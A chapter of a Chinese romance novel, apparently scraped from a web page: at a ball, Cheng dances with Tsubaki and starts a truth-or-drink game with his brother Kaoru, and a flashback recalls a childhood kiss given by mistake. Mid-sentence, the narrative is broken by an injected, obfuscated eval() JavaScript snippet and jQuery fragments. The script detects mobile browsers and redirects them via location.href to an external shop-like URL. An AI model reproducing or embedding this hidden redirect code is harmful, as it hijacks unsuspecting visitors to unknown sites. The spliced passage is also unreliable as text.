澄站直身体，用力拍了拍衣服上的灰尘。
他深吸一口气，脸上重新挂上那副顽劣和不在乎的笑容，大步流星地穿过露台的门，重新踏入那片光影交错、乐声靡靡的舞池。
一曲刚刚结束，熏正微微躬身准备将椿引向休息区。澄几步上前，恰到好处地插在两人之间，他无视熏投来的略带询问的目光，直接面向椿，伸出手做出一个邀请的姿势。
“椿小姐，赏脸陪我跳一曲吧？”
澄牵着椿的手，不由分说地将她重新带回舞池中央。
此时音乐恰好换上了一支节奏更为轻快的狐步舞曲，鼓点明晰，旋律活泼。澄的手稳稳地扣在椿的腰侧，不同于熏那般保持距离的绅士扶法，他的掌心几乎完全贴合着她洋装背后薄薄的布料，传递过来一种灼热的温度。
他步伐大而灵活，带着一种不管不顾的劲头，椿不得不集中精神，努力跟上他的节奏。
“跳得不错嘛，椿小姐。”澄低下头在她耳边说道。
椿微微喘息着，目光专注于脚下，避免踩到他：“在学校里学过一些。”
“跟女生一起练舞？”澄挑眉。
“嗯，”椿坦然承认，一个旋转后她顺势补充道，“所以比起女步，我其实更擅长引带男步。”
澄闻言，眼睛一亮，反而兴致更高：“那下次你跳男步，我跳女步好了。”
椿终于抬眼看了他一下，被他这异想天开的话逗得有些无奈：“你倒是……无所谓这个。”
“这有什么关系？”澄耸耸肩，甚至故意做出一个试图依偎过来的姿势，压低声音搞怪道，“偶尔也想要小鸟依人一点。”
这夸张的表演终于让椿忍俊不禁，噗嗤一声笑了出来。
见她笑了，澄也咧开嘴，跟着她一起笑。
他很快又凑近了些，声音压低：“刚才……你跟我哥，在角落里聊了些什么？”
音乐声有些大，椿似乎没听清，或者说她并不想回答这个问题，只是含糊地应道：“没什么，只是一些……不是很重要的东西。”
澄却不依不饶，追问道：“很无聊是不是？跟我哥在一起就是这样。白天规规矩矩逛银座，晚上规规矩矩参加舞会，像是在完成一场又一场的应酬，对不对？”
不等椿回答，他便自顾自地说下去，语速加快：“如果是由我来安排的话，绝对不会这么无趣。我知道有个藏在巷子深处的小酒馆，每周三晚上有飞镖比赛，赢了的人能免费喝一个月的招牌梅酒。我还知道浅草那边有个老伯做的关东煮，汤头绝妙，但他脾气怪，每天卖完就收摊，去晚了根本吃不到。晚上嘛……听说芝公园附近那个废弃的小音乐厅，后门的锁坏了很久了，我知道有条小路可以绕进去，里面又大又空，回声特别好，要是晚上溜进去就我们两个人，说不定还能找到几盏能点亮的煤油灯……”
椿静静地听着，舞步未停，半晌她轻轻说了一句：“听起来不错。”
澄笑容更加灿烂，带着毫不谦虚的自得：“是吧是吧？在玩这方面，没有人比得上我。”
一曲终了，他牵着椿的手走下舞池。
熏正站在不远处，手中端着一杯新的香槟，目光平静地看着他们走近。
澄松开椿，径直走向放着饮料的长桌，忽略那些精致的玻璃杯，直接拿起了两瓶未开封西洋利口酒。他熟练地用开瓶器撬开瓶盖，递了一瓶给椿，自己拿着另一瓶。
“光跳舞多没意思，”澄晃了晃手中的酒瓶，那液体呈现出琥珀色，在灯光下漾出诱人的光泽，“边喝边聊点真心话怎么样？这酒度数有点高，但味道甜甜的，像果汁。”
熏微微蹙眉：“澄，你太马虎了。这种酒的后劲很强，别吓着椿小姐。”
“不会不会。”
澄满不在乎地摆手，一把揽住熏的肩膀，力道大得让熏身形晃了一下，“哥，你也一起来嘛，人多才好玩，是我从一个常跑远洋船的船员那里学来的游戏。”
他兴致勃勃地解释着规则，“很简单，轮流问问题，必须说真心话，答不出来或者不想答，就喝酒。怎么样？”
熏似乎想拒绝，但看着澄那副不达目的不罢休的样子，又瞥了一眼身旁并未明确反对的椿，最终只是轻轻叹了口气，算是默许。
“那从我先开始。”澄率先说道，目光在熏和椿之间扫视，“你们有什么想问我的？尽管问。”
椿摇了摇头，她并不习惯这种直白的、窥探他人隐私的游戏。
熏沉默了片刻，目光落在澄那张与自己有几分相似、却总是显得躁动不安的脸上，缓缓开口，问出了一个出乎意料的问题：“小时候，我那个上了发条会自己走路的锡兵，是不是你弄坏的？”
这个问题让周遭的空气似乎凝滞了一瞬。
那是很久之前的事情了，久到记忆都蒙上了尘埃。
那时候，澄刚学会写自己的名字，热衷于在所有属于他的东西上贴上歪歪扭扭写著「澄」字的纸条。或许是一阵风，或许是他自己粗心，有一张名字条飘落粘在了熏的锡兵玩具的底座上。
澄看到自己的名字，便理所当然地认为那是他的，拿去玩耍，结果在摆弄时失手摔坏了内部的发条机关。
那时他们的玩具很多，往往一式两份，兄弟两人各有一个，唯独那个锡兵是单件。
熏发现后，并没有大哭大闹，只是看着那坏掉的锡兵，沉默了很久。
此刻澄听到这个问题，愣了一下，随即扯了扯嘴角，似乎想用惯常的嬉笑混过去：“是，我当时看到我的名字贴在下面，就以为那是我的。”
熏看着他，一字一句地说道：“就算贴了名字，我的还是我的。”
澄没有反驳，只是仰起头，对着瓶口，咕咚咕咚地喝下了一大口利口酒。
辛辣的灼烧感从喉咙一路蔓延到胃里，带着一种自虐般的快意。
“别那么小气，我的东西也可以是你的。”
澄被椿在桌下不轻不重地踢了一脚，小腿骨传来轻微的痛感。
他转眼去看她，只见椿依旧端着那副平静的神情。他撇撇嘴。
游戏还在继续。
澄好胜心被彻底点燃，他用手背擦了下嘴角，目光灼灼地盯向熏：“好了现在轮到你了，哥。”
他顿了顿，问出一个在当下场合堪称大胆的问题，“你的初吻……还在不在？”
熏显然没料到弟弟会问得如此直接，他下意识地看了身旁的椿一眼，语气平和地回答：“在的。”
随即，他转向澄：“那你的呢？应该不在了吧？听闻你总是参加那些实业家子弟办的派对，在派对上想必也学了不少……洋式的招呼方式。”
澄听到这个问题，没有羞赧或回避，反而回答得异常干脆，甚至带着点炫耀：“对啊，早不在了。”他刻意拉长了语调，目光若有似无地扫过椿瞬间绷紧的侧脸，补充道，“但不是跟什么莫名其妙的人。”
他的初吻是椿。
这话里的暗示太过明显，椿感到自己的耳根有些发烫，借着桌布的掩盖又踢了澄一下，这次力道重了些。
澄被她连着踢了两下，不再纠缠熏，转而将矛头对准了椿。身体微微前倾，隔着小小的圆桌，目光紧紧锁住她：“现在轮到你了，成濑小姐。”
他的问题同样刁钻，“我们两兄弟长得这么像……有没有哪一刻，你把我们两个混淆过？”
她长长的睫毛垂下，在眼下投下一小片阴影，没有立即回答。
有的，因为弄错了人，所以初吻也亲错了人。
那时，成濑家为庆祝一座新落成的专用小剧场，举办了一场盛大的庆典，连续数日都有精彩的歌舞伎表演。作为世交兼未来的亲家，一条家自然在受邀之列，并且提前几天就来到了京都，下榻在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203574|197308||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成濑家宅邸。
那时的一条熏和一条澄，还是介于少年与青年之间的年纪，熏已初具沉稳风范，而澄则依旧是那个精力过剩、片刻不得安宁的半大孩子。
他们跟着父母前来，自然也跟当时年纪相仿的成濑椿玩了几天。彼时所有人都知道，椿未来的未婚夫是长子一条熏。
到了正式演出那日成濑家座无虚席，京都各界名流齐聚。
熏陪着父母端坐在前排预留的贵宾席，而澄坐了不到半场，便觉得百无聊赖，趁着幕间休息，溜到了后台。
后台里，穿着各式戏服的演员们匆匆穿梭，空气中弥漫着脂粉、发油的独特气味。
澄在堆满衣箱和道具的缝隙间找到了椿，她那时穿着可爱的淡粉色访问着，梳着双髻，因为不用上台，只是在后台观摩帮忙，小脸上带着兴奋的红晕。
“前面闷死了。”澄抱怨着，眼睛却在后台逡巡，寻找新奇玩意儿。
他看到了通往舞台上方灯楼的狭窄木梯，眼睛一亮，“喂，我们去上面看看？那里肯定看得最清楚。”
两人偷偷攀上了那陡峭的木梯，灯楼空间狭小，布满灰尘，纵横交错的木梁和绳索如同巨大的蛛网。他们小心翼翼地蹲在一根粗大的、承载着沉重瓦斯灯的横梁后面，从这个独特的角度向下望去，整个舞台和下方黑压压的观众席一览无余，仿佛在窥探一个缩微的世界。
舞台上，正在上演的是脍炙人口的《假名手本忠臣藏》中的一折。男女主角在困境中互诉衷肠，演员的唱腔哀婉而深情，伴随着三味线如泣如诉的乐音。瓦斯灯的光束聚焦在舞台中央那对苦命鸳鸯身上，他们的身影被拉长。
椿看得入了神，小小的身子蜷缩在横梁后，双手抱着膝盖。
她忽然转过头，看向蹲在一旁同样聚精会神的澄，小声问道：“我们未来……也会像他们一样吗？”
她的声音很轻，澄正看得起劲，闻言愣了一下，没听清：“啊？什么一样？”
“就是……”椿犹豫了一下，指了指舞台上终于得以相拥的男女主角，“像他们那样最终……成为夫妻，在一起。”
澄“嗯”了一声，心思显然更多还在戏上。
两人都蹲在昏暗的灯楼横梁后，下方是演绎着悲欢离合的舞台，上方是寂静而布满尘埃的幽暗。椿沉默了一会儿，似乎对这个答案并不完全满意，又或者是对“夫妻”这个概念产生了具体的好奇。
她再次小声问：“那……夫妻之间，都会做些什么呢？”
澄被她问住了，他挠了挠头努力回想自己父母的日常，组织着语言：“会亲吻，会拥抱吧……”
他想起父亲偶尔晚归，母亲会为他端上热茶。想起天气转凉时，父亲会拿着外衣追出来给母亲披上，便补充道，“还会……嗯，会为他沏茶，会为她披衣，大概就是这样吧。”
椿听着，若有所思地点点头：“那挺好啊，我总是因为跑热了忘记及时披上衣服就感冒。看来结婚……还是有点用的。”
就在这时，舞台上的剧情推进到高潮，男主角握着女主角的手念出了一段坚定而深情的台词。
在那一刻，在下方戏剧情话的烘托下，在昏暗光线与隐秘空间的催化中，年幼的椿似乎被一种莫名的情绪鼓动。
她歪着头，看着近在咫尺的人。她俯身过去，柔软的嘴唇轻轻地贴在了澄的嘴唇上，然后伸出小小的手臂，环住他的脖子，笨拙地抱了抱他。
抬起头，眼睛望着他问道：“是这样吗？”
灯楼的灰尘在瓦斯灯逸散的光束中飞舞，舞台上的爱语余音未散。
澄瞪大眼睛，脸颊红了一片，什么话都说不出来。
他没说他不是他哥，但椿后来还是知道了。
为此她有很长一段时间都躲着他。
椿从那段遥远的往事中回过神，发现澄正一瞬不瞬地盯着她。